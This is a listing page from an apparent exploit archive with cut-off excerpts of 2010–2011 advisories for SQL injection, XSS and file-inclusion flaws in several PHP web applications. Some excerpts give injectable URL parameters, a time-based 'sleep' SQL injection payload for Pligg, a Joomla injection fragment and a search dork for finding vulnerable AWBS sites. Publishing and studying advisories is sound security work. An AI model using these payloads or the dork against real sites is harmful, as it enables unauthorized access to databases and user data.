BetMore Site Suite 4 (bid) Blind SQL Injection Vulnerability

Exploit for php platform in category web applications == Script: BetMore Site Suite Version: 4 Link: http://products.epromptc.com/betmore/?pt=4&rfid=55 == Author: BorN To K!LL - h4ck3r Contact: email protected == 3xploit: /mainxa.php?lngx=true-value&x=true-value&xid=true-value&bid=Blind-Injection...

Attachmax Dolphin 2.1.0 Remote File Inclusion / SQL Injection

Author : ph03nix Date : january 2011 Location : Indonesia Web : http://www.pho3nix.co.tv Critical Lvl : High Impact : System access Where : From Remote --------------------------------------------------------------------------- Affected software description: Application : Attachmax Dolphin versio...

BetMore Site Suite 4 - bid Blind SQL Injection

BetMore Site Suite 4 - bid Blind SQL Injection == Script: BetMore Site Suite Version: 4 Link: http://products.epromptc.com/betmore/?pt=4&rfid=55 == Author: BorN To K!LL - h4ck3r Contact: [email protected] == 3xploit: /mainxa.php?lngx=true-value&x=true-value&xid=true-value&bid=Blind-Injection ==...

AWBS 2.9.2 - cart.php Blind SQL Injection

AWBS 2.9.2 - cart.php Blind SQL Injection AWBS 2.9.2 Blind SQL Injection 0day ============================================================================================= Dork....: inurl:/cart?ca=addother&oid= Date....: 01-16-2011 Author..: ShivX Contact.: shivanxatgmaildotcom Vendor..:...

BetMore Site Suite 4 - 'bid' Blind SQL Injection

== Script: BetMore Site Suite Version: 4 Link: http://products.epromptc.com/betmore/?pt=4&rfid=55 == Author: BorN To K!LL - h4ck3r Contact: [email protected] == 3xploit: /mainxa.php?lngx=true-value&x=true-value&xid=true-value&bid=Blind-Injection == 3xample: /mainxa.php?lngx=12&x=367&xid=2&bid=782...

14 CMS 3.0.1 Blind SQL Injection

14 CMS portal blind sql injection Vulnerability + Portal Name : ideaschool.ir + version : 3.0.1 + Author : Elvl000 - [email protected] ------------------------------------------------------------------------------------ + Vulnerability + sql...

Multiple Vulnerabilities in OpenClassifieds 1.7.0.3

I understand that this is a vain hope that bugtraq will start posting something useful. Author:Michael Brooks Rookbr Application:OpenClassifieds 1.7.0.3br download: http://open-classifieds.com/download/br Exploit chain:captcha bypass-sqliinsert-persistant xss on front pagebr If registration is...

OpenClassifieds 1.7.0.3 - Chained: Captcha Bypass SQL Injection Persistent Cross-Site Scripting on FrontPage

OpenClassifieds 1.7.0.3 - Chained: Captcha Bypass SQL Injection Persistent Cross-Site Scripting on FrontPage Author:Michael Brooks Rook Application:OpenClassifieds 1.7.0.3 download: http://open-classifieds.com/download/ Exploit chain:captcha bypass-sqliinsert-persistant xss on front page If...

Pligg XSS and SQL Injection

Credit: Michael Brooks Bug Fix in 1.1.2: http://www.pligg.com/blog/1174/pligg-cms-1-1-2-release/ Special thanks to Eric Heikkinen for patching these quickly. Blind SQL Injection http://host/pligg1.1.2/search.php?adv=1&status= 'and+sleep9or+sleep9or+13D' &search=on&advancesearch= Search...

OpenClassifieds 1.7.0.3 - Chained: Captcha Bypass / SQL Injection / Persistent Cross-Site Scripting on FrontPage

Author:Michael Brooks Rook Application:OpenClassifieds 1.7.0.3 download: http://open-classifieds.com/download/ Exploit chain:captcha bypass-sqliinsert-persistant xss on front page If registration is required an extra link in the chain is added: Exploit chain:blind sqliselect-captcha...

Pligg 1.1.2 Cross Site Scripting / SQL Injection

Credit: Michael Brooks Bug Fix in 1.1.2: http://www.pligg.com/blog/1174/pligg-cms-1-1-2-release/ Special thanks to Eric Heikkinen for patching these quickly. Blind SQL Injection http://host/pligg1.1.2/search.php?adv=1&status= 'and+sleep9or+sleep9or+1%3D' &search=on&advancesearch= Search...

OpenAuto 1.6.3 Multiple Vulnerabilities

Exploit for php platform in category web applications Credit:Michael Brooks Affects:OpenAuto 1.6.3 Vulnerabilites: XSRF/XSS/Blind SQLi/Captcha Bypass http://openautoclassifieds.com/ ---------------------------------------------------------------------------------------------------- Reflective XSS...

Pligg 1.1.2 Blind SQL Injection and XSS Vulnerabilities

Exploit for php platform in category web applications Credit: Michael Brooks Special thanks to Eric Heikkinen for patching these quickly. Blind SQL Injection http://host/pligg1.1.2/search.php?adv=1&status= 'and+sleep9or+sleep9or+1%3D' &search=on&advancesearch= Search...

openauto 1.6.3 - Multiple Vulnerabilities

Credit:Michael Brooks Affects:OpenAuto 1.6.3 Vulnerabilites: XSRF/XSS/Blind SQLi/Captcha Bypass http://openautoclassifieds.com/ ---------------------------------------------------------------------------------------------------- Reflective XSS by adding a onclick event handler...

Pligg CMS 1.1.2 - Blind SQL Injection Cross-Site Scripting

Pligg CMS 1.1.2 - Blind SQL Injection Cross-Site Scripting Credit: Michael Brooks Special thanks to Eric Heikkinen for patching these quickly. Blind SQL Injection http://host/pligg1.1.2/search.php?adv=1&status= 'and+sleep9or+sleep9or+1%3D' &search=on&advancesearch= Search...

Pligg CMS 1.1.2 - Blind SQL Injection / Cross-Site Scripting

Credit: Michael Brooks Special thanks to Eric Heikkinen for patching these quickly. Blind SQL Injection http://host/pligg1.1.2/search.php?adv=1&status= 'and+sleep9or+sleep9or+1%3D' &search=on&advancesearch= Search +&sgroup=on&stags=0&slink=on&scategory=on&scomments=0&suser=0 XSS:...

Shift E-Business Blind SQL Injection

======================================================= Shift E-Business - Blind SQL Injection Vulnerabilities ======================================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1 3 3 3 3 7 /' \ /'\ /'\ /\ \ /\ /\ \ 7 1 /, /\L\ \ /\L...

Joomla! Component com_billyportfolio 1.1.2 - Blind SQL Injection

Joomla! Component combillyportfolio 1.1.2 - Blind SQL Injection Exploit Title: Joomla Component Billy Portfolio 1.1.2 Blind SQL Injection Date: 10 Dec 2010 Author: jdc Software Link: http://extensions.joomla.org/extensions/directory-a-documentation/portfolio/14834 Version: 1.1.2...

Joomla Billy Portfolio 1.1.2 Blind SQL Injection

Exploit Title: Joomla Component Billy Portfolio 1.1.2 Blind SQL Injection Date: 10 Dec 2010 Author: jdc Software Link: http://extensions.joomla.org/extensions/directory-a-documentation/portfolio/14834 Version: 1.1.2 index.php?option=combillyportfolio&view=billyportfolio&catid=-1 and...

Joomla! Component com_billyportfolio 1.1.2 - Blind SQL Injection

Exploit Title: Joomla Component Billy Portfolio 1.1.2 Blind SQL Injection Date: 10 Dec 2010 Author: jdc Software Link: http://extensions.joomla.org/extensions/directory-a-documentation/portfolio/14834 Version: 1.1.2 index.php?option=combillyportfolio&view=billyportfolio&catid=-1 and...